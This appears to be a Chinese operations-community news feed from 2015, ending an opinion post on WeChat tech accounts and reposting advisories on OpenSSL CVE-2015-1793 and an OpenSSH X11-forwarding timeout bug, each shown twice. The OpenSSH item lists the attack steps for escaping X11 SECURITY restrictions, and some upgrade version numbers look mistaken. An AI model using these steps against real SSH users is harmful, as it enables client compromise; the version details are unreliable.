       最后我们回到话题"寻找一方净土,一起学习技术,看来只有yunweibang订阅号了,还有运维帮线下技术沙龙,准备开始第二期了,大家一起期待一下。"南非蜘蛛同学明显实在为自己的订阅号,做广告和宣传吗,我不想深入说其中的缘由,都在互联网我想大家都应该知道。但是我希望大家做的事情都是正能量,可以让大家受益的,而不是极少数的人受益。

        当然我写这篇文章有人也会说,你是不是也在做广告和拉用户量,然后让你们网站火起来啊。我想说的是,不是,但是相不相信就看你自己心里怎么判断了。因为我写这篇文章的目的是想告诉大家,真正好的东西,应该大家一起分享。还有就是我个人认为微信真心不是学习技术的一份净土,它可能是很好的营销和市场宣传的一个很好的渠道和途径。因为现在微信已经是很多公司、微商、自媒体、网站等,传播知名度的一个很好的工具。无可厚非,微信并没有错,它是成功的,正是因为它的作用它才有存在的价值。所以南非蜘蛛写净土只有yunweibang订阅号了,他并没有说错,因为这是微信的作用。

        这篇文章纯属自己心血来潮,都是个人观点,不过欢迎大家拍砖。

OpenSSL CVE-2015-1793:中间人攻击

互联网资讯Ansible 发表了文章 • 0 个评论 • 868 次浏览 • 2015-07-11 02:22 • 来自相关话题

本周初,OpenSSL发布了CVE-2015-1793的漏洞更新包:

这些更新包在7月9日发布,它们将用于修复一个“高危漏洞”。这些漏洞不会影响1.0.0或者 0.9.8版本。--->Forthcoming OpenSSL releases

漏洞细节及修补补丁的具体方法将在下面给出:




高危漏洞补丁

该补丁修复了一个高危漏洞。由OpenSSL团队出版,详情如下:
在证书验证期间,OpenSSL(1.0.1n到1.0.2b版本)将试图寻找一个证书验证链,如果没有找到,那么OpenSSL又会试图寻找另一个证书验证链。但是在这个逻辑的实现中却存在着一个错误,这个错误将导致攻击者可以使用不受信任的征收绕过检查。比如 CA 标识。这使他们能够使用无效的证书充当证书验证链中的叶子证书,比如 CA 和 "issue"。 
----->OpenSSL Security Advisory [9 Jul 2015]

这种漏洞允许黑客进行“中间人”攻击,并且能让程序在看到无效和不受信任的证书时让应用程序把该无效证书当成有效的。基本上,它可以让没个人都能成为他们自己的证书颁发机构(Certificate Authority.CA)。这个Bug已被提交到: aae41f8c54257d9fa6904d3a9aa09c5db6cefd0d.




还提交到了:2aacec8f4a5ba1b365620a7b17fcce311ada93ad.



该问题确实相当严重,这意味着又它又被修复了一次。
不幸中的万幸是,它只有限地影响部分OpenSSL版本:OpenSSL 1.0.2c,1.0.2b,1.0.1n ,1.0.1o。受影响的版本和操作系统有哪些?该漏洞似乎只存在于OpenSSL在2015年6月以后发布的版本中。这貌似让如Linux这一类的系统相对比较安全。因为他们已经有很久没有更新OpenSSL了。
Red Hat,CentOS和Ubuntu完全不会受此漏洞影响,因为在2015年6月没有发布针对这几个系统的版本。正如Red Hat宣布的:OpenSSL项目已发布一个重要漏洞补丁(CVE-2015-1793),该漏洞影响OpenSSL的1.0.1n,1.0.1o,1.0.2b及1.0.2c版本。
上面的那些版本只能用一个月,考虑到Red Hat对重要漏洞的修复和功能选择的谨密政策,OpenSSL没有搭载任意一个上述功能。
Red Hat无需做任何东西去修复或减轻该漏洞(CVE-2015-1793),因为Red Hat不受该影响。

OpenSSL 7月9日安全修复(CVE-2015-1793)。
只是为了安全起见,如果可用,请尽快检查并进行更新。特别是如果你有软件使用了最新的OpenSSL源代码或其它库。
如何打补丁
和往常的补丁一样(参考:heartbleed(https://ma.ttias.be/patch-against-the-heartbleed-openssl-bug-cve-2014-0160/), CVE-2015-0291) https://ma.ttias.be/openssl-cve-2015-0291-cve-2015-0286/) and CVE-2015-0286),修复一般需要两步,首先你得更新操作系统的各种库。




由于是“中间人”攻击,所以建议你重新所有服务或者应用程序连接到的SSL/TLS远程端点。如果有人试图改变你的远程端点的DNS并且把URL指向到自己的服务器,那么,你的程序可能依然会认为它是一个有效的的SSL/TLS流。
原文地址 查看全部
本周初,OpenSSL发布了CVE-2015-1793的漏洞更新包:


这些更新包在7月9日发布,它们将用于修复一个“高危漏洞”。这些漏洞不会影响1.0.0或者 0.9.8版本。--->Forthcoming OpenSSL releases


漏洞细节及修补补丁的具体方法将在下面给出:
openssl.png

高危漏洞补丁


该补丁修复了一个高危漏洞。由OpenSSL团队出版,详情如下:
在证书验证期间,OpenSSL(1.0.1n到1.0.2b版本)将试图寻找一个证书验证链,如果没有找到,那么OpenSSL又会试图寻找另一个证书验证链。但是在这个逻辑的实现中却存在着一个错误,这个错误将导致攻击者可以使用不受信任的征收绕过检查。比如 CA 标识。这使他们能够使用无效的证书充当证书验证链中的叶子证书,比如 CA 和 "issue"。 
----->OpenSSL Security Advisory [9 Jul 2015]


这种漏洞允许黑客进行“中间人”攻击,并且能让程序在看到无效和不受信任的证书时让应用程序把该无效证书当成有效的。基本上,它可以让没个人都能成为他们自己的证书颁发机构(Certificate Authority.CA)。
这个Bug已被提交到: aae41f8c54257d9fa6904d3a9aa09c5db6cefd0d.
o2.png

还提交到了:2aacec8f4a5ba1b365620a7b17fcce311ada93ad.
o3.png
该问题确实相当严重,这意味着又它又被修复了一次。
不幸中的万幸是,它只有限地影响部分OpenSSL版本:OpenSSL 1.0.2c,1.0.2b,1.0.1n ,1.0.1o。
受影响的版本和操作系统有哪些?
该漏洞似乎只存在于OpenSSL在2015年6月以后发布的版本中。这貌似让如Linux这一类的系统相对比较安全。因为他们已经有很久没有更新OpenSSL了。
Red Hat,CentOS和Ubuntu完全不会受此漏洞影响,因为在2015年6月没有发布针对这几个系统的版本。
正如Red Hat宣布的:
OpenSSL项目已发布一个重要漏洞补丁(CVE-2015-1793),该漏洞影响OpenSSL的1.0.1n,1.0.1o,1.0.2b及1.0.2c版本。
上面的那些版本只能用一个月,考虑到Red Hat对重要漏洞的修复和功能选择的谨密政策,OpenSSL没有搭载任意一个上述功能。
Red Hat无需做任何东西去修复或减轻该漏洞(CVE-2015-1793),因为Red Hat不受该影响。

OpenSSL 7月9日安全修复(CVE-2015-1793)。
只是为了安全起见,如果可用,请尽快检查并进行更新。特别是如果你有软件使用了最新的OpenSSL源代码或其它库。
如何打补丁
和往常的补丁一样(参考:heartbleed(https://ma.ttias.be/patch-against-the-heartbleed-openssl-bug-cve-2014-0160/), CVE-2015-0291) https://ma.ttias.be/openssl-cve-2015-0291-cve-2015-0286/) and CVE-2015-0286),修复一般需要两步,首先你得更新操作系统的各种库。
04.png

由于是“中间人”攻击,所以建议你重新所有服务或者应用程序连接到的SSL/TLS远程端点。如果有人试图改变你的远程端点的DNS并且把URL指向到自己的服务器,那么,你的程序可能依然会认为它是一个有效的的SSL/TLS流。
原文地址

OpenSSH <=6.8 X11版本安全BUG

互联网资讯Ansible 发表了文章 • 0 个评论 • 970 次浏览 • 2015-07-10 00:06 • 来自相关话题

OpenSSH <=6.8中存在一个安全问题,允许通过ssh-X连接客户端的恶意服务器连接到SSH客户端的X服务器,而不受X11的安全限制。

X验证: 有客户端连接到X服务器时需要验证。验证可通过说明直接的验证信息(在实践中,它通常意味着要使用MIT-MAGIC-COOKIE-1,要求用户将一个验证“cookie”发送到服务器中)来完成,但也可通过间接方式完成——比如,对于本地连接来说,服务器可能会基于客户端的UID允许客户端进来。

有意思的是,X 服务器会回退到间接验证方式,即使客户端已经直接说明了无效的验证数据。X11SECURITY: X11安全机制允许用户创建magic cookies。当这些cookie用于X服务器验证时,它会限制客户端的行为。(这些cookie会阻止客户端使用不安全的X扩展并阻止访问不受限于X11 SECURITY 限制的windows,但不会阻止访问另外一个受限于X11 SECURITY限制的客户端windows。)
            由于所有带有X11 SECURITY限制的magic cookies都有相应的超时规定,如果cookie在超时规定的时间内没有被使用,它就会被删除。如果能够成功验证的客户端能够间接尝试通过过期且带有X11 SECURITY限制的cookie直接验证,那么直接验证就会失败,而且X服务器就会在没有X11 SECURITY的情况下回到间接验证!
 
(不受信任的) X 转发: 当SSH客户端连接到带有ssh-X的SSH服务器时,SSH服务器能够通过已有的且客户端转发至本地X服务器的SSH隧道创建信道。X验证的处理如下:

当连接至SSH服务器时,SSH客户端会在X服务器上注册一个使用期为ForwardX11Timeout(默认:20分钟)新的MIT magic cookie。这个cookie受限于X11 SECURITY限制。以下我将其称为“受限的cookie”。

当连接至SSH服务器时,SSH客户端会创建一个看起来像MIT magic cookie的“虚拟cookie(dummy cookie)”。它会将这个字符串发送给SSH服务器,而位于SSH服务器上的X客户端在通过SSH验证X服务器时必须发送这个虚拟cookie。以下是蹩脚的一些ASCII信息流:


这种方法的一个明显问题在于,如果在ForwardX11Timeout规定的时间内,不存在X客户端通过SSH隧道连接至X服务器的情况,那么服务器就会忘掉cookie。如果SSH客户端允许随后创建新连接,那么X服务器就不会识别出magic cookie,并且会使用通过unix域套接字连接的UID返回简介验证,给予X客户端不带X SECURITY 限制的访问权限。正因如此,超时过期后,ssh拒绝新的X11信道请求。问题准确地说,问题在于,ssh并不一定要在超时过期后阻拦对X服务器的新连接——而是必须阻拦X11的验证尝试。Cookie可能会在创建X服务器连接后、X客户端发送验证请求之前仍然过期。虽然连接创建之后通常直接跟着验证,但恶意攻击者可任意将其删除。攻击如下:
[]受害者(SSH客户端)与带有ssh-X的攻击者(SSH服务器)连接.[/][]攻击者等待19.5分钟.[/][]攻击者开启对SSH服务器的X11连接,SSH服务器要求在SSH连接上创建一个新的X11信道,SSH客户端连接至X服务器.[/][]攻击者等待1分钟,超时过期,X服务器忘记“受限的cookie”。SSH客户端不再允许新的X11信道.[/][]攻击者发送带有虚拟cookie的验证请求,SSH客户端发送带有“受限的cookie”的验证请求.[/][]攻击者与未受限于X SECURITY限制的X服务器互动.[/]
在实际操作中,可通过在调试器下及_xcb_get_auth_info启动一些X客户端的情况下创建一分钟的延时。等1分钟过后,让程序继续运行。
 
影响 没有受限于X11限制的程序可以跟所有已打开的程序互动,就像这个程序就是你自己一样。例如,它能够访问所有你的所有公开终端windows并且使用XTEST扩展输入任意命令,这可能会允许SSH服务器完全攻陷任何与ssh-X连接的客户端。例如,攻击者可以将任意内容发送给活跃的窗口,如:




修复方案: OpenSSH 6.9修复了这个问题,方法是:在SSH服务器请求一个新的X11信道时以及SSH服务器发送X11验证数据时检查超时过期。此外,由于“从一开始(off-by-one)”或时间倾斜在这里非常重要,因此MIT cookie的超时会增加一分钟,而ssh拒绝X11连接/验证尝试后超时不会发生变化。原文地址 查看全部
sshbug.jpg


OpenSSH <=6.8中存在一个安全问题,允许通过ssh-X连接客户端的恶意服务器连接到SSH客户端的X服务器,而不受X11的安全限制。


X验证:
    有客户端连接到X服务器时需要验证。验证可通过说明直接的验证信息(在实践中,它通常意味着要使用MIT-MAGIC-COOKIE-1,要求用户将一个验证“cookie”发送到服务器中)来完成,但也可通过间接方式完成——比如,对于本地连接来说,服务器可能会基于客户端的UID允许客户端进来。

有意思的是,X 服务器会回退到间接验证方式,即使客户端已经直接说明了无效的验证数据。
X11SECURITY:
    X11安全机制允许用户创建magic cookies。当这些cookie用于X服务器验证时,它会限制客户端的行为。(这些cookie会阻止客户端使用不安全的X扩展并阻止访问不受限于X11 SECURITY 限制的windows,但不会阻止访问另外一个受限于X11 SECURITY限制的客户端windows。)

            由于所有带有X11 SECURITY限制的magic cookies都有相应的超时规定,如果cookie在超时规定的时间内没有被使用,它就会被删除。如果能够成功验证的客户端能够间接尝试通过过期且带有X11 SECURITY限制的cookie直接验证,那么直接验证就会失败,而且X服务器就会在没有X11 SECURITY的情况下回到间接验证!
 
(不受信任的) X 转发:
   当SSH客户端连接到带有ssh-X的SSH服务器时,SSH服务器能够通过已有的且客户端转发至本地X服务器的SSH隧道创建信道。X验证的处理如下:

当连接至SSH服务器时,SSH客户端会在X服务器上注册一个使用期为ForwardX11Timeout(默认:20分钟)新的MIT magic cookie。这个cookie受限于X11 SECURITY限制。以下我将其称为“受限的cookie”。

当连接至SSH服务器时,SSH客户端会创建一个看起来像MIT magic cookie的“虚拟cookie(dummy cookie)”。它会将这个字符串发送给SSH服务器,而位于SSH服务器上的X客户端在通过SSH验证X服务器时必须发送这个虚拟cookie。以下是蹩脚的一些ASCII信息流:
assh.png
   这种方法的一个明显问题在于,如果在ForwardX11Timeout规定的时间内,不存在X客户端通过SSH隧道连接至X服务器的情况,那么服务器就会忘掉cookie。如果SSH客户端允许随后创建新连接,那么X服务器就不会识别出magic cookie,并且会使用通过unix域套接字连接的UID返回简介验证,给予X客户端不带X SECURITY 限制的访问权限。正因如此,超时过期后,ssh拒绝新的X11信道请求。
问题
准确地说,问题在于,ssh并不一定要在超时过期后阻拦对X服务器的新连接——而是必须阻拦X11的验证尝试。Cookie可能会在创建X服务器连接后、X客户端发送验证请求之前仍然过期。虽然连接创建之后通常直接跟着验证,但恶意攻击者可任意将其删除。攻击如下:

    []受害者(SSH客户端)与带有ssh-X的攻击者(SSH服务器)连接.[/][]攻击者等待19.5分钟.[/][]攻击者开启对SSH服务器的X11连接,SSH服务器要求在SSH连接上创建一个新的X11信道,SSH客户端连接至X服务器.[/][]攻击者等待1分钟,超时过期,X服务器忘记“受限的cookie”。SSH客户端不再允许新的X11信道.[/][]攻击者发送带有虚拟cookie的验证请求,SSH客户端发送带有“受限的cookie”的验证请求.[/][]攻击者与未受限于X SECURITY限制的X服务器互动.[/]

在实际操作中,可通过在调试器下及_xcb_get_auth_info启动一些X客户端的情况下创建一分钟的延时。等1分钟过后,让程序继续运行。
 
影响
   没有受限于X11限制的程序可以跟所有已打开的程序互动,就像这个程序就是你自己一样。例如,它能够访问所有你的所有公开终端windows并且使用XTEST扩展输入任意命令,这可能会允许SSH服务器完全攻陷任何与ssh-X连接的客户端。
例如,攻击者可以将任意内容发送给活跃的窗口,如:
bssh.png

修复方案:
   OpenSSH 6.9修复了这个问题,方法是:在SSH服务器请求一个新的X11信道时以及SSH服务器发送X11验证数据时检查超时过期。此外,由于“从一开始(off-by-one)”或时间倾斜在这里非常重要,因此MIT cookie的超时会增加一分钟,而ssh拒绝X11连接/验证尝试后超时不会发生变化。
原文地址

OpenSSL发布最新安全补丁解决高危漏洞

互联网资讯Ansible 发表了文章 • 0 个评论 • 1121 次浏览 • 2015-07-09 23:25 • 来自相关话题

Openssl 7月9日发布了 OpenSSL 1.0.2 和OpenSSL 1.0.1 两个主线版本的更新,其中修复了一个高危安全问题(CVE-2015-1793)。漏洞危害:
特定版本的OpenSSL在证书校验的逻辑中存在安全漏洞,使得攻击者可以绕过对不可信证书的检查。影响范围 :​
[]OpenSSL 1.0.2c [/][]OpenSSL 1.0.2b[/][]OpenSSL 1.0.1n[/][]OpenSSL 1.0.1o[/][]OpenSSL 0.9.8/1.0.0不受影响[/]
 
修复方案:
OpenSSL 1.0.2c/1.0.2b 的用户请升级到 1.0.2d

OpenSSL 1.0.1h/1.0.1o 的用户请升级到1.0.2p

前往http://www.openssl.org/ 下载相应版本自行编译升级。该问题由Adam Langley/David Benjamin (Google/BoringSSL)于6月24日报告。
OpenSSL 安全公告:http://www.openssl.org/news/secadv_20150709.txt
原文地址 查看全部
opjj.jpg

Openssl 7月9日发布了 OpenSSL 1.0.2  和OpenSSL 1.0.1 两个主线版本的更新,其中修复了一个高危安全问题(CVE-2015-1793)。
漏洞危害:
特定版本的OpenSSL在证书校验的逻辑中存在安全漏洞,使得攻击者可以绕过对不可信证书的检查。
影响范围 :​
    []OpenSSL 1.0.2c [/][]OpenSSL 1.0.2b[/][]OpenSSL 1.0.1n[/][]OpenSSL 1.0.1o[/][]OpenSSL 0.9.8/1.0.0不受影响[/]

 
修复方案:
OpenSSL 1.0.2c/1.0.2b 的用户请升级到 1.0.2d

OpenSSL 1.0.1h/1.0.1o 的用户请升级到1.0.2p

前往http://www.openssl.org/ 下载相应版本自行编译升级。
该问题由Adam Langley/David Benjamin (Google/BoringSSL)于6月24日报告。
OpenSSL 安全公告:http://www.openssl.org/news/secadv_20150709.txt
原文地址

未披露的0day高危漏洞,再一次心脏滴血OpenSSl

互联网资讯Ansible 发表了文章 • 0 个评论 • 1738 次浏览 • 2015-07-08 18:29 • 来自相关话题

OpenSSL官方发布漏洞预警,提醒系统管理员做好OpenSSL的升级准备。最新版本OpenSSL将于7月9日(本周四)发布,修复了一个未经披露的高危漏洞。不少安全专家推测,这个高危漏洞将可能是另一个心脏滴血
神秘的高危0day漏洞
OpenSSL是一个广泛使用的开源软件库,它使用SSL和TLS为大多数网站提供加密的互联网连接。

OpenSSL项目团队在本周一宣布,即将发布的OpenSSL加密库新版本1.0.2d和1.0.1p中解决了一个被定位于“高危”的安全漏洞。

关于这个神秘的安全漏洞,除了知道它并不影响1.0.0或0.9.8版本之外,目前还没有更详细的消息。在前天公开的一封邮件列表中,开发者Mark J Cox陈述道:“OpenSSL项目团队宣布即将发布OpenSSL新版本1.0.2d和1.0.1p,这两个新版本将于7月9日发布。值得注意的是,这两个新版本中都修复了一个安全等级评定为“高危”的漏洞。不过,这个漏洞并不影响1.0.0或0.9.8版本。”OpenSSL官方在发布新版本前发出预警,很可能是为了防止在更新补丁发布给大众之前,黑客利用该漏洞进行攻击。
不少安全专家推测,这个高危漏洞将可能是另一个心脏滴血(Heartbleed)漏洞或POODLE漏洞,而这两者曾被认为是最糟糕的TLS/SSL漏洞,直到今天人们认为它们仍然在影响互联网上的网站。
 
OpenSSL高危漏洞回顾
心脏滴血漏洞:该漏洞去年4月份被发现,它存在于OpenSSL早期版本中,允许黑客读取受害者加密数据的敏感内容,包括信用卡详细信息,甚至能够窃取网络服务器或客户端软件的加密SSL密钥。

POODLE漏洞:几个月后,在古老但广泛应用的SSL 3.0加密协议中发现了另一个被称为POODLE(Padding Oracle On Downgraded Legacy Encryption)的严重漏洞,该漏洞允许攻击者解密加密连接的内容。
 
OpenSSL在今年3月份的一次更新中修复了一批高严重性的漏洞,其中包括拒绝服务漏洞(CVE-2015-0291),它允许攻击者攻击在线服务并使其崩溃;此外还有FREAK漏洞(CVE-2015-0204),它允许攻击者迫使客户端使用弱加密方式。
 
转载出自 查看全部
afw.png

OpenSSL官方发布漏洞预警,提醒系统管理员做好OpenSSL的升级准备。最新版本OpenSSL将于7月9日(本周四)发布,修复了一个未经披露的高危漏洞。不少安全专家推测,这个高危漏洞将可能是另一个心脏滴血
神秘的高危0day漏洞
OpenSSL是一个广泛使用的开源软件库,它使用SSL和TLS为大多数网站提供加密的互联网连接。

OpenSSL项目团队在本周一宣布,即将发布的OpenSSL加密库新版本1.0.2d和1.0.1p中解决了一个被定位于“高危”的安全漏洞。

关于这个神秘的安全漏洞,除了知道它并不影响1.0.0或0.9.8版本之外,目前还没有更详细的消息。在前天公开的一封邮件列表中,开发者Mark J Cox陈述道:
“OpenSSL项目团队宣布即将发布OpenSSL新版本1.0.2d和1.0.1p,这两个新版本将于7月9日发布。值得注意的是,这两个新版本中都修复了一个安全等级评定为“高危”的漏洞。不过,这个漏洞并不影响1.0.0或0.9.8版本。”
OpenSSL官方在发布新版本前发出预警,很可能是为了防止在更新补丁发布给大众之前,黑客利用该漏洞进行攻击。
不少安全专家推测,这个高危漏洞将可能是另一个心脏滴血(Heartbleed)漏洞或POODLE漏洞,而这两者曾被认为是最糟糕的TLS/SSL漏洞,直到今天人们认为它们仍然在影响互联网上的网站。
 
OpenSSL高危漏洞回顾
心脏滴血漏洞:该漏洞去年4月份被发现,它存在于OpenSSL早期版本中,允许黑客读取受害者加密数据的敏感内容,包括信用卡详细信息,甚至能够窃取网络服务器或客户端软件的加密SSL密钥。

POODLE漏洞:几个月后,在古老但广泛应用的SSL 3.0加密协议中发现了另一个被称为POODLE(Padding Oracle On Downgraded Legacy Encryption)的严重漏洞,该漏洞允许攻击者解密加密连接的内容。
 
OpenSSL在今年3月份的一次更新中修复了一批高严重性的漏洞,其中包括拒绝服务漏洞(CVE-2015-0291),它允许攻击者攻击在线服务并使其崩溃;此外还有FREAK漏洞(CVE-2015-0204),它允许攻击者迫使客户端使用弱加密方式。
 
转载出自
IT互联网消息、资讯!